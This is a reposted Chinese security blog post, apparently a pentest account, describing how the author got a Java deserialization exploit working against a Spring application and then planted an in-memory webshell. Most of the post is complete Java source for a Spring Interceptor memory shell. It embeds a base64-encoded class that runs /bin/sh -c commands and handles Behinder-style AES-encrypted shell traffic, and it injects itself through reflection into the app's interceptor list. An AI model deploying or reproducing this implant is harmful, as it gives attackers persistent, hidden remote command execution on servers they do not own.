本地搭建相关环境,在jdk8u391的环境下成功执行命令。但是tmd打回显的?子又不行,调试了半天还是不行?。刚好外卖到了,边吃鸭脖边又看了两眼,发现?子忘记继承AbstractTranslet了...

内存马即学即用

内存马

能回显了,但是在实际攻防当中我们最好还是能够打入内存马方便操作。考虑到目标环境是spring,我直接就找了以前的springInterceptor的内存马,

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.springframework.beans.BeansException;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;

import javax.servlet.ServletRequest;
import javax.servlet.http.HttpServletRequest;
import java.lang.reflect.Method;

public class SpringInterceptorMemShell extends AbstractTranslet {
   static String b64 = "yv66vgAAADQBSAoAZQCFCACGCQBkAIcIAIgJAGQAiQgAigkAZACLCgBkAIwJAI0AjggAjwoAkACRCACSCwCTAJQIAJUKABMAlgoAEwCXCQCYAJkIAJoHAJsIAJwIAJ0IAJ4IAJ8HAKAKAKEAogoAoQCjCgCkAKUKABgApggApwoAGACoCgAYAKkLAKoAqwoArACRCwCTAK0LAJMArggArwgAsAsAkwCxBwCyCgAnAIUIALMKACcAtAgAtQgAtggAtwsAuAC5CAC6CgC7ALwHAL0HAL4KADIAhQsAuAC/CgAyAMAIAMEKADIAwgoAMgDDCgATAMQKADEAxQoAuwDGBwDHCgA8AIULAJMAyAoAyQDKCgA8AMsKALsAzAgAzQoARQDOCADPBwDQBwDRCQDSANMKAEUA1AoA1QDWCgBMANcKAEUA2AcA2QoA0gDaCgDVANsKAEUA3AoATACWCADdBwDeCgBSAN8KAOAA4QoA4ADiCADjCgBbAOQJAGQA5QcA5ggA5wcA6AcA6QoAXADfBwDqCgBeAN8HAOsKAGAA3wcA7AoAYgDfBwDtBwDuAQASbXlDbGFzc0xvYWRlckNsYXp6AQARTGphdmEvbGFuZy9DbGFzczsBABBiYXNpY0NtZFNoZWxsUHdkAQASTGphdmEvbGFuZy9TdHJpbmc7AQATYmVoaW5kZXJTaGVsbEhlYWRlcgEAEGJlaGluZGVyU2hlbGxQd2QBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQAJcHJlSGFuZGxlAQBkKExqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXF1ZXN0O0xqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXNwb25zZTtMamF2YS9sYW5nL09iamVjdDspWgEADVN0YWNrTWFwVGFibGUHAJsHAO8HAPAHAN4BAApFeGNlcHRpb25zAQAKaW5pdGlhbGl6ZQcA7QcA6AcA5gcA8QcA6QcA6gcA6wcA7AEAClNvdXJjZUZpbGUBAB9EeW5hbWljSW50ZXJjZXB0b3JUZW1wbGF0ZS5qYXZhAQAZUnVudGltZVZpc2libGVBbm5vdGF0aW9ucwEAK0xvcmcvc3ByaW5nZnJhbWV3b3JrL3N0ZXJlb3R5cGUvQ29udHJvbGxlcjsMAGwAbQEABHBhc3MMAGgAaQEADFgtT3B0aW9ucy1BaQwAagBpAQAQZTQ1ZTMyOWZlYjVkOTI1YgwAawBpDAB4AG0HAPIMAPMA9AEAIlsrXSBEeW5hbWljIEludGVyY2VwdG9yIHNheXMgaGVsbG8HAPUMAPYA9wEABHR5cGUHAPgMAPkA+gEABWJhc2ljDAD7APwMAP0A/gcA/wwBAABpAQABLwEAEGphdmEvbGFuZy9TdHJpbmcBAAcvYmluL3NoAQACLWMBAANjbWQBAAIvQwEAEWphdmEvdXRpbC9TY2FubmVyBwEBDAECAQMMAQQBBQcBBgwBBwEIDABsAQkBAAJcQQwBCgELDAEMAQ0HAQ4MAQ8BEAcBEQwBEgD6DAETAQ0BAARQT1NUAQAGUWl1UUl1DAEUARUBABFqYXZhL3V0aWwvSGFzaE1hcAEAB3JlcXVlc3QMARYBFwEACHJlc3BvbnNlAQAHc2Vzc2lvbgEAAXUHARgMARkBGgEAA0FFUwcA7wwBGwEcAQAfamF2YXgvY3J5cHRvL3NwZWMvU2VjcmV0S2V5U3BlYwEAF2phdmEvbGFuZy9TdHJpbmdCdWlsZGVyDAEdAR4MAR8BIAEAAAwBHwEhDAEiAQ0MASMBJAwAbAElDAEmAScBABZzdW4vbWlzYy9CQVNFNjREZWNvZGVyDAEoASkHASoMASsBDQwBLAEtDAEuAS8BABVqYXZhLmxhbmcuQ2xhc3NMb2FkZXIMATABMQEAC2RlZmluZUNsYXNzAQAPamF2YS9sYW5nL0NsYXNzAQACW0IHATIMATMAZwwBNAE1BwDxDAE2ATcMATgBOQwBOgE7AQAQamF2YS9sYW5nL09iamVjdAwBPAE9DAE+AT8MAUABQQEAB1FpdVlZRFMBABNqYXZhL2xhbmcvRXhjZXB0aW9uDAFCAG0HAUMMAUQBRQwBRgE7AQAnY29tLmZlaWhvbmcubGRhcC50ZW1wbGF0ZS5NeUNsYXNzTG9hZGVyDAFHATEMAGYAZwEAIGphdmEvbGFuZy9DbGFzc05vdEZvdW5kRXhjZXB0aW9uAQMceXY2NnZnQUFBRElBR3dvQUJRQVdCd0FYQ2dBQ0FCWUtBQUlBR0FjQUdRRUFCanhwYm1sMFBnRUFHaWhNYW1GMllTOXNZVzVuTDBOc1lYTnpURzloWkdWeU95bFdBUUFFUTI5a1pRRUFEMHhwYm1WT2RXMWlaWEpVWVdKc1pRRUFFa3h2WTJGc1ZtRnlhV0ZpYkdWVVlXSnNaUUVBQkhSb2FYTUJBQ2xNWTI5dEwyWmxhV2h2Ym1jdmJHUmhjQzkwWlcxd2JHRjBaUzlOZVVOc1lYTnpURzloWkdWeU93RUFBV01CQUJkTWFtRjJZUzlzWVc1bkwwTnNZWE56VEc5aFpHVnlPd0VBQzJSbFptbHVaVU5zWVhOekFRQXNLRnRDVEdwaGRtRXZiR0Z1Wnk5RGJHRnpjMHh2WVdSbGNqc3BUR3BoZG1FdmJHRnVaeTlEYkdGemN6c0JBQVZpZVhSbGN3RUFBbHRDQVFBTFkyeGhjM05NYjJGa1pYSUJBQXBUYjNWeVkyVkdhV3hsQVFBU1RYbERiR0Z6YzB4dllXUmxjaTVxWVhaaERBQUdBQWNCQUNkamIyMHZabVZwYUc5dVp5OXNaR0Z3TDNSbGJYQnNZWFJsTDAxNVEyeGhjM05NYjJGa1pYSU1BQThBR2dFQUZXcGhkbUV2YkdGdVp5OURiR0Z6YzB4dllXUmxjZ0VBRnloYlFrbEpLVXhxWVhaaEwyeGhibWN2UTJ4aGMzTTdBQ0VBQWdBRkFBQUFBQUFDQUFBQUJnQUhBQUVBQ0FBQUFEb0FBZ0FDQUFBQUJpb3J0d0FCc1FBQUFBSUFDUUFBQUFZQUFRQUFBQVFBQ2dBQUFCWUFBZ0FBQUFZQUN3QU1BQUFBQUFBR0FBMEFEZ0FCQUFrQUR3QVFBQUVBQ0FBQUFFUUFCQUFDQUFBQUVMc0FBbGtydHdBREtnTXF2cllBQkxBQUFBQUNBQWtBQUFBR0FBRUFBQUFJQUFvQUFBQVdBQUlBQUFBUUFCRUFFZ0FBQUFBQUVBQVRBQTRBQVFBQkFCUUFBQUFDQUJVPQEAFWphdmEvbGFuZy9DbGFzc0xvYWRlcgEAH2phdmEvbGFuZy9Ob1N1Y2hNZXRob2RFeGNlcHRpb24BACBqYXZhL2xhbmcvSWxsZWdhbEFjY2Vzc0V4Y2VwdGlvbgEAE2phdmEvaW8vSU9FeGNlcHRpb24BACtqYXZhL2xhbmcvcmVmbGVjdC9JbnZvY2F0aW9uVGFyZ2V0RXhjZXB0aW9uAQAaRHluYW1pY0ludGVyY2VwdG9yVGVtcGxhdGUBAEFvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9zZXJ2bGV0L2hhbmRsZXIvSGFuZGxlckludGVyY2VwdG9yQWRhcHRlcgEAE2phdmF4L2NyeXB0by9DaXBoZXIBABNbTGphdmEvbGFuZy9TdHJpbmc7AQAYamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kAQAQamF2YS9sYW5nL1N5c3RlbQEAA291dAEAFUxqYXZhL2lvL1ByaW50U3RyZWFtOwEAE2phdmEvaW8vUHJpbnRTdHJlYW0BAAdwcmludGxuAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWAQAlamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVxdWVzdAEADGdldFBhcmFtZXRlcgEAJihMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmc7AQAGZXF1YWxzAQAVKExqYXZhL2xhbmcvT2JqZWN0OylaAQAHaXNFbXB0eQEAAygpWgEADGphdmEvaW8vRmlsZQEACXNlcGFyYXRvcgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACgoW0xqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7AQARamF2YS9sYW5nL1Byb2Nlc3MBAA5nZXRJbnB1dFN0cmVhbQEAFygpTGphdmEvaW8vSW5wdXRTdHJlYW07AQAYKExqYXZhL2lvL0lucHV0U3RyZWFtOylWAQAMdXNlRGVsaW1pdGVyAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS91dGlsL1NjYW5uZXI7AQAEbmV4dAEAFCgpTGphdmEvbGFuZy9TdHJpbmc7AQAmamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVzcG9uc2UBAAlnZXRXcml0ZXIBABcoKUxqYXZhL2lvL1ByaW50V3JpdGVyOwEAE2phdmEvaW8vUHJpbnRXcml0ZXIBAAlnZXRIZWFkZXIBAAlnZXRNZXRob2QBAApnZXRTZXNzaW9uAQAiKClMamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXNzaW9uOwEAA3B1dAEAOChMamF2YS9sYW5nL09iamVjdDtMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9PYmplY3Q7AQAeamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXNzaW9uAQAMc2V0QXR0cmlidXRlAQAnKExqYXZhL2xhbmcvU3RyaW5nO0xqYXZhL2xhbmcvT2JqZWN0OylWAQALZ2V0SW5zdGFuY2UBACkoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZheC9jcnlwdG8vQ2lwaGVyOwEADGdldEF0dHJpYnV0ZQEAJihMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9PYmplY3Q7AQAGYXBwZW5kAQAtKExqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL1N0cmluZ0J1aWxkZXI7AQAtKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZ0J1aWxkZXI7AQAIdG9TdHJpbmcBAAhnZXRCeXRlcwEABCgpW0IBABcoW0JMamF2YS9sYW5nL1N0cmluZzspVgEABGluaXQBABcoSUxqYXZhL3NlY3VyaXR5L0tleTspVgEACWdldFJlYWRlcgEAGigpTGphdmEvaW8vQnVmZmVyZWRSZWFkZXI7AQAWamF2YS9pby9CdWZmZXJlZFJlYWRlcgEACHJlYWRMaW5lAQAMZGVjb2RlQnVmZmVyAQAWKExqYXZhL2xhbmcvU3RyaW5nOylbQgEAB2RvRmluYWwBAAYoW0IpW0IBAAdmb3JOYW1lAQAlKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL0NsYXNzOwEAEWphdmEvbGFuZy9JbnRlZ2VyAQAEVFlQRQEAEWdldERlY2xhcmVkTWV0aG9kAQBAKExqYXZhL2xhbmcvU3RyaW5nO1tMamF2YS9sYW5nL0NsYXNzOylMamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kOwEADXNldEFjY2Vzc2libGUBAAQoWilWAQAIZ2V0Q2xhc3MBABMoKUxqYXZhL2xhbmcvQ2xhc3M7AQAOZ2V0Q2xhc3NMb2FkZXIBABkoKUxqYXZhL2xhbmcvQ2xhc3NMb2FkZXI7AQAHdmFsdWVPZgEAFihJKUxqYXZhL2xhbmcvSW50ZWdlcjsBAAZpbnZva2UBADkoTGphdmEvbGFuZy9PYmplY3Q7W0xqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsBAAtuZXdJbnN0YW5jZQEAFCgpTGphdmEvbGFuZy9PYmplY3Q7AQAPcHJpbnRTdGFja1RyYWNlAQAQamF2YS9sYW5nL1RocmVhZAEADWN1cnJlbnRUaHJlYWQBABQoKUxqYXZhL2xhbmcvVGhyZWFkOwEAFWdldENvbnRleHRDbGFzc0xvYWRlcgEACWxvYWRDbGFzcwAhAGQAZQAAAAQAAgBmAGcAAAACAGgAaQAAAAIAagBpAAAAAgBrAGkAAAADAAEAbABtAAEAbgAAAEcAAgABAAAAGyq3AAEqEgK1AAMqEgS1AAUqEga1AAcqtwAIsQAAAAEAbwAAABoABgAAABgABAAUAAoAFQAQABYAFgAZABoAGgABAHAAcQACAG4AAAKHAAcACwAAAcGyAAkSCrYACysSDLkADQIAxgCQKxIMuQANAgASDrYAD5kAgCsqtAADuQANAgA6BBkExgGOGQS2ABCaAYYBOgWyABESErYAD5kAGwa9ABNZAxIUU1kEEhVTWQUZBFM6BqcAGAa9ABNZAxIWU1kEEhdTWQUZBFM6BrsAGFm4ABkZBrYAGrYAG7cAHBIdtgAetgAfOgcsuQAgAQAZB7YAIQOsKyq0AAW5ACICAMYBFSu5ACMBABIktgAPmQD9sgAJEiW2AAsruQAmAQA6BrsAJ1m3ACg6BxkHEikrtgAqVxkHEisstgAqVxkHEiwZBrYAKlcqtAAHOgQZBhItGQS5AC4DABIvuAAwOgUZBQW7ADFZuwAyWbcAMxkGEi25ADQCALYANRI2tgA3tgA4tgA5Ei+3ADq2ADsZBbsAPFm3AD0ruQA+AQC2AD+2AEC2AEE6CBJCuABDEkQGvQBFWQMSRlNZBLIAR1NZBbIAR1O2AEg6CRkJBLYASRkJKrYASrYASwa9AExZAxkIU1kEA7gATVNZBRkIvrgATVO2AE7AAEU6ChkKtgBPGQe2AFBXsgAJElG2AAsDrKcACjoGGQa2AFMErAABAK0BtAG4AFIAAgBvAAAAigAiAAAAHQAIACAAIwAhAC8AIgA8ACMAPwAlAEoAJgBiACgAdwArAJMALACeAC0AoAAvAK0AMQC7ADIAwwAzAMsANADUADUA3QA2AOYANwDwADgA9gA5AQEAOgEIADsBNQA8AU8APQFwAD4BdgA/AaAAQAGrAEEBswBCAbUARgG4AEQBugBFAb8ASQByAAAAHAAG/QBiBwBzBwB0/AAUBwB1+AAo+wEUQgcAdgYAdwAAAAQAAQBSAAIAeABtAAEAbgAAAXgABwAHAAAAlbgAVLYAVUwqKxJWtgBXtQBYpwBrTRJaTrsAPFm3AD0ttgBAOgQBOgUSWxJEBr0ARVkDEkZTWQSyAEdTWQWyAEdTtgBIOgUZBQS2AEkqGQUrBr0ATFkDGQRTWQQDuABNU1kFGQS+uABNU7YATsAARbUAWKcACjoGGQa2AF2nABhMK7YAX6cAEEwrtgBhpwAITCu2AGOxAAUABwARABQAWQAoAHIAdQBcAAAAfAB/AF4AAAB8AIcAYAAAAHwAjwBiAAIAbwAAAF4AFwAAAE4ABwBRABEAXgAUAFIAFQBTABgAVAAlAFUAKABYAEYAWQBMAFoAcgBdAHUAWwB3AFwAfABlAH8AXwCAAGAAhABlAIcAYQCIAGIAjABlAI8AYwCQAGQAlABnAHIAAABFAAf/ABQAAgcAeQcAegABBwB7/wBgAAYHAHkHAHoHAHsHAHMHAEYHAHwAAQcAff8ABgABBwB5AABCBwB+RwcAf0cHAIAEAAIAgQAAAAIAggCDAAAABgABAIQAAA==";
   static String clazzName = "DynamicInterceptorTemplate";

   static {
       try {
           Class&lt;?&gt; RequestContextUtils = Class.forName("org.springframework.web.servlet.support.RequestContextUtils");

           Method getWebApplicationContext;
           try {
               getWebApplicationContext = RequestContextUtils.getDeclaredMethod("getWebApplicationContext", ServletRequest.class);
          } catch (NoSuchMethodException e) {
               getWebApplicationContext = RequestContextUtils.getDeclaredMethod("findWebApplicationContext", HttpServletRequest.class);
          }
           getWebApplicationContext.setAccessible(true);

           WebApplicationContext context = (WebApplicationContext) getWebApplicationContext.invoke(null, ((ServletRequestAttributes) RequestContextHolder.currentRequestAttributes()).getRequest());

           //从requestMappingHandlerMapping中获取adaptedInterceptors属性 老版本是DefaultAnnotationHandlerMapping
           org.springframework.web.servlet.handler.AbstractHandlerMapping abstractHandlerMapping;
           try {
               Class&lt;?&gt; RequestMappingHandlerMapping = Class.forName("org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping");
               abstractHandlerMapping = (org.springframework.web.servlet.handler.AbstractHandlerMapping) context.getBean(RequestMappingHandlerMapping);
          } catch (BeansException e) {
               Class&lt;?&gt; DefaultAnnotationHandlerMapping = Class.forName("org.springframework.web.servlet.mvc.annotation.DefaultAnnotationHandlerMapping");
               abstractHandlerMapping = (org.springframework.web.servlet.handler.AbstractHandlerMapping) context.getBean(DefaultAnnotationHandlerMapping);
          }

           java.lang.reflect.Field field = org.springframework.web.servlet.handler.AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors");
           field.setAccessible(true);
           java.util.ArrayList adaptedInterceptors = (java.util.ArrayList) field.get(abstractHandlerMapping);

           //加载ysoserial.payloads.templates.SpringInterceptorTemplate类的字节码
           byte[] bytes = sun.misc.BASE64Decoder.class.newInstance().decodeBuffer(b64);
           java.lang.ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
           java.lang.reflect.Method m0 = ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);
           m0.setAccessible(true);
           m0.invoke(classLoader, clazzName, bytes, 0, bytes.length);
           //添加SpringInterceptorTemplate类到adaptedInterceptors
           adaptedInterceptors.add(classLoader.loadClass(clazzName).newInstance());
      } catch (Exception e) {
//           e.printStackTrace();
      }
  }

   @Override
   public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

  }

   @Override
   public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

  }
}

内存马即学即用
成功执行

但是貌似路径只能限制在/3.0/authService/config这里。测试tomcat的listener类型内存马也可以。

内存马即学即用

参考

https://github.com/bitterzzZZ/MemoryShellLearn

原文始发于微信公众号(小艾搞安全):内存马即学即用

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年5月28日23:03:55
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   内存马即学即用https://cn-sec.com/archives/2789634.html

发表评论

匿名网友 填写信息